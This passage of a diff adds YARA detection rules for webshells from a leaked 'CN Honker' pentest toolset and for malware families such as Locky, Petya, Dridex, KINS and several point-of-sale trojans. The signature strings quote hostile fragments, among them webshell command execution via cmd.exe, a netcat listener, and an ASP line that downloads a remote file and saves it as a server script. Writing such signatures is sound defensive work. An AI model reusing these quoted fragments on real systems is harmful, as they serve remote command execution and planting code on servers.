+		hash0 = "c2f4b150f53c78777928921b3a985ec678bfae32"
+		hash1 = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+		hash2 = "cd3962b1dba9f1b389212e38857568b69ca76725"
+	strings:
+		$s1 = "<a href=\"?s=h&o=wscript\">[WScript.shell]</a> " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "document.getElementById('cmd').value = Str[i];" fullword ascii
+		$s3 = "Str[7] = \"copy c:\\\\\\\\1.php d:\\\\\\\\2.php\";" fullword ascii
+	condition:
+		filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell__Serv_U_by_Goldsun_asp3_Serv_U_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files Serv-U_by_Goldsun.asp, asp3.txt, Serv-U asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+		hash1 = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+		hash2 = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+	strings:
+		$s1 = "c.send loginuser & loginpass & mt & deldomain & quit" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "loginpass = \"Pass \" & pass & vbCrLf" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "b.send \"User go\" & vbCrLf & \"pass od\" & vbCrLf & \"site exec \" & cmd & vbCr" ascii
+	condition:
+		filesize < 444KB and all of them
+}
+
+rule CN_Honker_Webshell__asp4_asp4_MSSQL__MSSQL_ {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files asp4.txt, asp4.txt, MSSQL_.asp, MSSQL_.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash1 = "4005b83ced1c032dc657283341617c410bc007b8"
+		hash2 = "7097c21f92306983add3b5b29a517204cd6cd819"
+		hash3 = "7097c21f92306983add3b5b29a517204cd6cd819"
+	strings:
+		$s0 = "\"<form name=\"\"searchfileform\"\" action=\"\"?action=searchfile\"\" method=\"" ascii /* PEStudio Blacklist: strings */
+		$s1 = "\"<TD ALIGN=\"\"Left\"\" colspan=\"\"5\"\">[\"& DbName & \"]" fullword ascii
+		$s2 = "Set Conn = Nothing " fullword ascii
+	condition:
+		filesize < 341KB and all of them
+}
+
+rule CN_Honker_Webshell__Injection_jmCook_jmPost_ManualInjection {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files Injection.exe, jmCook.asp, jmPost.asp, ManualInjection.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+		hash1 = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+		hash2 = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+		hash3 = "e83d427f44783088a84e9c231c6816c214434526"
+	strings:
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "strReturn=Replace(strReturn,chr(43),\"%2B\")  'JMDCW" fullword ascii
+	condition:
+		filesize < 7342KB and all of them
+}
+
+rule CN_Honker_Webshell_cmfshell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file cmfshell.cmf"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b9b2107c946431e4ad1a8f5e53ac05e132935c0e"
+	strings:
+		$s1 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<form action=\"<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>\" method=\"post\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php4.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "179975f632baff6ee4d674fe3fabc324724fee9e"
+	strings:
+		$s0 = "nc -l -vv -p port(" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x4850 and filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_Linux_2_6_Exploit {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 2.6.9"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ec22fac0510d0dc2c29d56c55ff7135239b0aeee"
+	strings:
+		$s0 = "[+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?" fullword ascii
+	condition:
+		filesize < 56KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b3ac478e72a0457798a3532f6799adeaf4a7fc87"
+	strings:
+		$s1 = "<%=server.mappath(request.servervariables(\"script_name\"))%>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "webshell</font> <font color=#00FF00>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Userpwd = \"admin\"   'User Password" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule CN_Honker_Webshell_FTP_MYSQL_MSSQL_SSH {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file FTP MYSQL MSSQL SSH.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fe63b215473584564ef2e08651c77f764999e8ac"
+	strings:
+		$s1 = "$_SESSION['hostlist'] = $hostlist = $_POST['hostlist'];" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Codz by <a href=\"http://www.sablog.net/blog\">4ngel</a><br />" fullword ascii
+		$s3 = "if ($conn_id = @ftp_connect($host, $ftpport)) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "$_SESSION['sshport'] = $mssqlport = $_POST['sshport'];" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "<title>ScanPass(FTP/MYSQL/MSSQL/SSH) by 4ngel</title>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 20KB and 3 of them
+}
+
+rule CN_Honker_Webshell_ASP_shell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file shell.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b7b34215c2293ace70fc06cbb9ce73743e867289"
+	strings:
+		$s1 = "xPost.Open \"GET\",\"http://www.i0day.com/1.txt\",False //" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "sGet.SaveToFile Server.MapPath(\"test.asp\"),2 //" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "http://hi.baidu.com/xahacker/fuck.txt" fullword ascii
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php7 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php7.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+	strings:
+		$s0 = "---> '.$ports[$i].'<br>'; ob_flush(); flush(); } } echo '</div>'; return true; }" ascii /* PEStudio Blacklist: strings */
+		$s1 = "$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : ''; $getaction = iss" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_rootkit {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file rootkit.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3bfc1c95782e702cf56184e7d438edcf5802eab3"
+	strings:
+		$s0 = "set ss=zsckm.get(\"Win32_ProcessSta\"&uyy&\"rtup\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "If jzgm=\"\"Then jzgm=\"cmd.exe /c net user\"" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 80KB and all of them
+}
+
+rule CN_Honker_Webshell_jspshell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d16af622f7688d4e0856a2678c4064d3d120e14b"
+	strings:
+		$s1 = "else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Proce" ascii /* PEStudio Blacklist: strings */
+		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_serv_u {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file serv-u.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1c6415a247c08a63e3359b06575b36017befc0c0"
+	strings:
+		$s1 = "@readfile(\"c:\\\\winnt\\\\system32\\" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$sendbuf = \"PASS \".$_POST[\"password\"].\"\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$cmd=\"cmd /c rundll32.exe $path,install $openPort $activeStr\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 435KB and all of them
+}
+
+rule CN_Honker_Webshell_WebShell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file WebShell.cgi"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+	strings:
+		$s1 = "$login = crypt($WebShell::Configuration::password, $salt);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "warn \"command: '$command'\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_mssql_2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mssql.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ad55512afa109b205e4b1b7968a89df0cf781dc9"
+	strings:
+		$s1 = "sqlpass=request(\"sqlpass\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "set file=fso.createtextfile(server.mappath(request(\"filename\")),8,true)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<blockquote> ServerIP:&nbsp;&nbsp;&nbsp;" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp1.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "78b5889b363043ed8a60bed939744b4b19503552"
+	strings:
+		$s1 = "SItEuRl=" ascii
+		$s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Server.ScriptTimeout=" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 200KB and all of them
+}
+rule PUP_InstallRex_AntiFWb {
+	meta:
+		description = "Malware InstallRex / AntiFW"
+		author = "Florian Roth"
+		date = "2015-05-13"
+		hash = "bb5607cd2ee51f039f60e32cf7edc4e21a2d95cd"
+		score = 65
+	strings:
+		$s4 = "Error %u while loading TSU.DLL %ls" fullword ascii
+		$s7 = "GetModuleFileName() failed => %u" fullword ascii
+		$s8 = "TSULoader.exe" fullword wide
+		$s15 = "\\StringFileInfo\\%04x%04x\\Arguments" fullword wide
+		$s17 = "Tsu%08lX.dll" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}rule BernhardPOS {
+     meta:
+          author = "Nick Hoffman / Jeremy Humble"
+          last_update = "2015-07-14"
+          source = "Morphick Inc."
+          description = "BernhardPOS Credit Card dumping tool"
+          reference = "http://morphick.com/blog/2015/7/14/bernhardpos-new-pos-malware-discovered-by-morphick"
+          md5 = "e49820ef02ba5308ff84e4c8c12e7c3d"
+          score = 70
+     strings:
+          $shellcode_kernel32_with_junk_code = { 33 c0 83 ?? ?? 83 ?? ?? 64 a1 30 00 00 00 83 ?? ?? 83 ?? ?? 8b 40 0c 83 ?? ?? 83 ?? ?? 8b 40 14 83 ?? ?? 83 ?? ?? 8b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b 00 83 ?? ?? 83 ?? ?? 8b 40 10 83 ?? ?? }
+          $mutex_name = "OPSEC_BERNHARD" 
+          $build_path = "C:\\bernhard\\Debug\\bernhard.pdb" 
+          $string_decode_routine = { 55 8b ec 83 ec 50 53 56 57 a1 ?? ?? ?? ?? 89 45 f8 66 8b 0d ?? ?? ?? ?? 66 89 4d fc 8a 15 ?? ?? ?? ?? 88 55 fe 8d 45 f8 50 ff ?? ?? ?? ?? ?? 89 45 f0 c7 45 f4 00 00 00 00 ?? ?? 8b 45 f4 83 c0 01 89 45 f4 8b 45 08 50 ff ?? ?? ?? ?? ?? 39 45 f4 ?? ?? 8b 45 08 03 45 f4 0f be 08 8b 45 f4 99 f7 7d f0 0f be 54 15 f8 33 ca 8b 45 08 03 45 f4 88 08 ?? ?? 5f 5e 5b 8b e5 5d }
+     condition:
+          any of them
+ }
+rule Win32_Buzus_Softpulse {
+	meta:
+		description = "Trojan Buzus / Softpulse"
+		author = "Florian Roth"
+		date = "2015-05-13"
+		hash = "2f6df200e63a86768471399a74180466d2e99ea9"
+		score = 75
+	strings:
+		$x1 = "pi4izd6vp0.com" fullword ascii
+
+		$s1 = "SELECT * FROM Win32_Process" fullword wide
+		$s4 = "CurrentVersion\\Uninstall\\avast" fullword wide
+		$s5 = "Find_RepeatProcess" fullword ascii
+		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" fullword wide
+		$s7 = "myapp.exe" fullword ascii
+		$s14 = "/c ping -n 1 www.google" wide
+	condition:
+		uint16(0) == 0x5a4d and 
+			( 
+				( $x1 and 2 of ($s*) ) or
+				all of ($s*) 
+			)
+}
+
+rule ce_enfal_cmstar_debug_msg {
+	meta:
+		author = "rfalcone"
+		description = "Detects the static debug strings within CMSTAR"
+		reference = "http://goo.gl/JucrP9"
+		hash = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
+		date = "5/10/2015"
+	strings:
+		$d1 = "EEE\x0d\x0a" fullword
+		$d2 = "TKE\x0d\x0a" fullword
+		$d3 = "VPE\x0d\x0a" fullword
+		$d4 = "VPS\x0d\x0a" fullword
+		$d5 = "WFSE\x0d\x0a" fullword
+		$d6 = "WFSS\x0d\x0a" fullword
+		$d7 = "CM**\x0d\x0a" fullword
+	condition:
+		uint16(0) == 0x5a4d and all of ($d*)
+}
+rule SVG_LoadURL {
+	meta:
+		description = "Detects a tiny SVG file that loads an URL (as seen in CryptoWall malware infections)"
+		author = "Florian Roth"
+		reference = "http://goo.gl/psjCCc"
+		date = "2015-05-24"
+		hash1 = "ac8ef9df208f624be9c7e7804de55318"
+		hash2 = "3b9e67a38569ebe8202ac90ad60c52e0"
+		hash3 = "7e2be5cc785ef7711282cea8980b9fee"
+		hash4 = "4e2c6f6b3907ec882596024e55c2b58b"
+		score = 50
+	strings:
+		$s1 = "</svg>" nocase
+		$s2 = "<script>" nocase
+		$s3 = "location.href='http" nocase
+	condition:
+		all of ($s*) and filesize < 600
+}
+
+		
+		rule Dexter_Malware {
+	meta:
+		description = "Detects the Dexter Trojan/Agent http://goo.gl/oBvy8b"
+		author = "Florian Roth"
+		reference = "http://goo.gl/oBvy8b"
+		date = "2015/02/10"
+		score = 70
+	strings:
+		$s0 = "Java Security Plugin" fullword wide
+		$s1 = "%s\\%s\\%s.exe" fullword wide
+		$s2 = "Sun Java Security Plugin" fullword wide
+		$s3 = "\\Internet Explorer\\iexplore.exe" fullword wide
+	condition:
+		all of them
+}rule Dridex_Trojan_XML {
+	meta:
+		description = "Dridex Malware in XML Document"
+		author = "Florian Roth @4nc4p"
+		reference = "https://threatpost.com/dridex-banking-trojan-spreading-via-macros-in-xml-files/111503"
+		date = "2015/03/08"
+		hash1 = "88d98e18ed996986d26ce4149ae9b2faee0bc082"
+		hash2 = "3b2d59adadf5ff10829bb5c27961b22611676395"
+		hash3 = "e528671b1b32b3fa2134a088bfab1ba46b468514"
+		hash4 = "981369cd53c022b434ee6d380aa9884459b63350"
+		hash5 = "96e1e7383457293a9b8f2c75270b58da0e630bea"
+	strings:
+		// can be ascii or wide formatted - therefore no restriction
+		$c_xml      = "<?xml version="
+		$c_word     = "<?mso-application progid=\"Word.Document\"?>"
+		$c_macro    = "w:macrosPresent=\"yes\""
+		$c_binary   = "<w:binData w:name="
+		$c_0_chars  = "<o:Characters>0</o:Characters>"
+		$c_1_line   = "<o:Lines>1</o:Lines>"
+	condition:
+		all of ($c*)
+}
+rule Enfal_Malware {
+	meta:
+		description = "Detects a certain type of Enfal Malware"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/02/10"
+		hash = "9639ec9aca4011b2724d8e7ddd13db19913e3e16"
+		score = 60
+	strings:
+		$s0 = "POWERPNT.exe" fullword ascii
+		$s1 = "%APPDATA%\\Microsoft\\Windows\\" fullword ascii
+		$s2 = "%HOMEPATH%" fullword ascii
+		$s3 = "Server2008" fullword ascii
+		$s4 = "Server2003" fullword ascii
+		$s5 = "Server2003R2" fullword ascii
+		$s6 = "Server2008R2" fullword ascii
+		$s9 = "%HOMEDRIVE%" fullword ascii
+		$s13 = "%ComSpec%" fullword ascii
+	condition:
+		all of them
+}
+
+rule Enfal_Malware_Backdoor {
+	meta:
+		description = "Generic Rule to detect the Enfal Malware"
+		author = "Florian Roth"
+		date = "2015/02/10"
+		super_rule = 1
+		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
+		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
+		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
+		score = 60
+	strings:
+		$mz = { 4d 5a }
+			
+		$x1 = "Micorsoft Corportation" fullword wide
+		$x2 = "IM Monnitor Service" fullword wide
+		
+		$s1 = "imemonsvc.dll" fullword wide
+		$s2 = "iphlpsvc.tmp" fullword
+		
+		$z1 = "urlmon" fullword
+		$z2 = "Registered trademarks and service marks are the property of their respec" wide		
+		$z3 = "XpsUnregisterServer" fullword
+		$z4 = "XpsRegisterServer" fullword
+		$z5 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
+	condition:
+		( $mz at 0 ) and 
+		( 
+			1 of ($x*) or 
+			( all of ($s*) and all of ($z*) )
+		)
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-18
+	Identifier: Fareit Oct 2015
+*/
+
+rule Fareit_Trojan_Oct15 {
+	meta:
+		description = "Detects Fareit Trojan from Sep/Oct 2015 Wave"
+		author = "Florian Roth"
+		reference = "http://goo.gl/5VYtlU"
+		date = "2015-10-18"
+		score = 80
+		super_rule = 1
+		hash1 = "230ca0beba8ae712cfe578d2b8ec9581ce149a62486bef209b04eb11d8c088c3"
+		hash2 = "3477d6bfd8313d37fedbd3d6ba74681dd7cb59040cabc2991655bdce95a2a997"
+		hash3 = "408fa0bd4d44de2940605986b554e8dab42f5d28a6a525b4bc41285e37ab488d"
+		hash4 = "76669cbe6a6aac4aa52dbe9d2e027ba184bf3f0b425f478e8c049637624b5dae"
+		hash5 = "9486b73eac92497e703615479d52c85cfb772b4ca6c846ef317729910e7c545f"
+		hash6 = "c3300c648aebac7bf1d90f58ea75660c78604410ca0fa705d3b8ec1e0a45cdd9"
+		hash7 = "ff83e9fcfdec4ffc748e0095391f84a8064ac958a274b9684a771058c04cb0fa"
+	strings:
+		$s1 = "ebai.exe" fullword wide
+		$s2 = "Origina" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and $s1 in (0..30000) and $s2 in (0..30000)
+}
+rule KINS_dropper {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+		reference = "http://goo.gl/arPhm3"
+	strings:
+		// Network protocol
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		// Injects
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		// UAC bypass
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
+	condition:
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
+
+rule KINS_DLL_zeus {
+	meta:
+		author = "AlienVault Labs aortega@alienvault.com"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+		reference = "http://goo.gl/arPhm3"
+	strings:
+		// Network protocol
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		// Crypted strings
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
+	condition:
+		all of ($n*) and 1 of ($s*)
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-07
+	Identifier: Kraken_Malware
+*/
+
+rule Kraken_Bot_Sample {
+	meta:
+		description = "Kraken Bot Sample - file inf.bin"
+		author = "Florian Roth"
+		reference = "https://blog.gdatasoftware.com/blog/article/dissecting-the-kraken.html"
+		date = "2015-05-07"
+		hash = "798e9f43fc199269a3ec68980eb4d91eb195436d"
+		score = 90
+	strings:
+		$s2 = "%s=?getname" fullword ascii
+		$s4 = "&COMPUTER=^" fullword ascii
+		$s5 = "xJWFwcGRhdGElAA=" fullword ascii /* base64 encoded string '%appdata%' */
+		$s8 = "JVdJTkRJUi" fullword ascii /* base64 encoded string '%WINDIR' */
+		$s20 = "btcplug" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-17
+	Identifier: Locky
+*/
+
+rule Locky_Ransomware {
+	meta:
+		description = "Detects Locky Ransomware (matches also on Win32/Kuluoz)"
+		author = "Florian Roth (with the help of binar.ly)"
+		reference = "https://goo.gl/qScSrE"
+		date = "2016-02-17"
+		hash = "5e945c1d27c9ad77a2b63ae10af46aee7d29a6a43605a9bfbf35cebbcff184d8"
+	strings:
+		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 } // address=0x4144a7
+		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 } // address=0x413863
+	condition:
+		all of ($o*)
+}
+rule PoS_Malware_MalumPOS
+{
+    meta:
+        author = "Trend Micro, Inc."
+        date = "2015-05-25"
+        description = "Used to detect MalumPOS memory dumper"
+        sample_filtype = "exe"
+    strings:
+        $string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
+        $string2 = "B)[0-9]{13,19}\\"
+        $string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
+        $string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
+        $string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/ 
+    condition:
+        all of ($string*)
+}
+
+rule PoS_Malware_MalumPOS_Config
+{
+    meta:
+        author = "Florian Roth"
+        date = "2015-06-25"
+        description = "MalumPOS Config File"
+        reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-malumpos-targets-hotels-and-other-us-industries/"
+    strings:
+        $s1 = "[PARAMS]"
+        $s2 = "Name="
+        $s3 = "InterfacesIP="
+        $s4 = "Port="
+    condition:
+        all of ($s*) and filename == "log.ini" and filesize < 20KB
+}
+
+/* Malware ----------------------------------------------------------------- */
+
+rule TrojanDownloader {
+	meta:
+		description = "Trojan Downloader - Flash Exploit Feb15"
+		author = "Florian Roth"
+		reference = "http://goo.gl/wJ8V1I"
+		date = "2015/02/11"
+		hash = "5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e"
+		score = 60
+	strings:
+		$x1 = "Hello World!" fullword ascii
+		$x2 = "CONIN$" fullword ascii
+			
+		$s6 = "GetCommandLineA" fullword ascii
+		$s7 = "ExitProcess" fullword ascii
+		$s8 = "CreateFileA" fullword ascii						
+
+		$s5 = "SetConsoleMode" fullword ascii		
+		$s9 = "TerminateProcess" fullword ascii	
+		$s10 = "GetCurrentProcess" fullword ascii
+		$s11 = "UnhandledExceptionFilter" fullword ascii
+		$s3 = "user32.dll" fullword ascii
+		$s16 = "GetEnvironmentStrings" fullword ascii
+		$s2 = "GetLastActivePopup" fullword ascii		
+		$s17 = "GetFileType" fullword ascii
+		$s19 = "HeapCreate" fullword ascii
+		$s20 = "VirtualFree" fullword ascii
+		$s21 = "WriteFile" fullword ascii
+		$s22 = "GetOEMCP" fullword ascii
+		$s23 = "VirtualAlloc" fullword ascii
+		$s24 = "GetProcAddress" fullword ascii
+		$s26 = "FlushFileBuffers" fullword ascii
+		$s27 = "SetStdHandle" fullword ascii
+		$s28 = "KERNEL32.dll" fullword ascii
+	condition:
+		$x1 and $x2 and ( all of ($s*) ) and filesize < 35000
+}
+
+rule Gen_Trojan_Mikey {
+	meta:
+		description = "Trojan Mikey - file sample_mikey.exe"
+		author = "Florian Roth"
+		date = "2015-05-07"
+		hash = "a8e6c3ca056b3ff2495d7728654b780735b3a4cb"
+		score = 70
+	strings:
+		$s0 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS" fullword ascii 
+						/* reversed string 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' */
+		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)" fullword ascii
+		$x3 = "%d*%u%s" fullword ascii
+		$x4 = "%s %s:%d" fullword ascii
+		$x5 = "Mnopqrst Vwxyabcde Ghijklm Opqrstuv Xya" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s0 and 2 of ($x*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-24
+	Identifier: Petya Ransomware
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Petya_Ransomware {
+	meta:
+		description = "Detects Petya Ransomware"
+		author = "Florian Roth"
+		reference = "http://www.heise.de/newsticker/meldung/Erpressungs-Trojaner-Petya-riegelt-den-gesamten-Rechner-ab-3150917.html"
+		date = "2016-03-24"
+		hash = "26b4699a7b9eeb16e76305d843d4ab05e94d43f3201436927e13b3ebafa90739"
+	strings:
+		$a1 = "<description>WinRAR SFX module</description>" fullword ascii
+
+		$s1 = "BX-Proxy-Manual-Auth" fullword wide
+		$s2 = "<!--The ID below indicates application support for Windows 10 -->" fullword ascii
+		$s3 = "X-HTTP-Attempts" fullword wide
+		$s4 = "@CommandLineMode" fullword wide
+		$s5 = "X-Retry-After" fullword wide
+	condition:
+	(
+		uint16(0) == 0x5a4d and filesize < 500KB and 3 of them
+	) or (
+		all of them
+	) and not filename matches /Google/
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-02
+	Identifier: Phishing Gina Harrowell Dez 2015
+*/
+
+rule PHISH_02Dez2015_dropped_p0o6543f_1 {
+	meta:
+		description = "Phishing Wave - file p0o6543f.exe"
+		author = "Florian Roth"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-02"
+		hash = "db788d6d3a8ed1a6dc9626852587f475e7671e12fa9c9faa73b7277886f1e210"
+	strings:
+		$s1 = "netsh.exe" fullword wide
+		$s2 = "routemon.exe" fullword wide
+		$s3 = "script=" fullword wide /* Goodware String - occured 4 times */
+		$s4 = "disconnect" fullword wide /* Goodware String - occured 14 times */
